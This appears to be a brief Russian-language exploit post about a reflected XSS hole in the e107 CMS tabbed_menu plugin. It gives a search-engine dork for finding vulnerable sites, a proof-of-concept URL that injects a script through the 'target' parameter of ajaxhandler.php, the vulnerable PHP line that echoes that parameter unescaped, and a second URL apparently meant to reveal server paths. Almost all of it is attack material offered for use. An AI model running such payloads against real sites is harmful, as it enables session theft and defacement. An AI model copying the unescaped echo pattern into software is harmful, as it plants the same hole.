inurl:e107_plugins/tabbed_menu
пасивная XSS

Код:

http://[host]/[path]/e107_plugins/tabbed_menu/ajaxhandler.php?target=<script>alert(123)</script>

[path]/e107_plugins/tabbed_menu/ajaxhandler.php

PHP код:

...}else{
    $ajax_response = "<menu_name>{$_GET['target']}</menu_name><source_id>$ajax_source</source_id><arg>$ajax_arg</arg> <b>No Data Available</b>";
}
echo $ajax_response; 


путь:

Код:

http://[host]/[path]/e107_plugins/tabbed_menu/ajaxhandler.php?source=1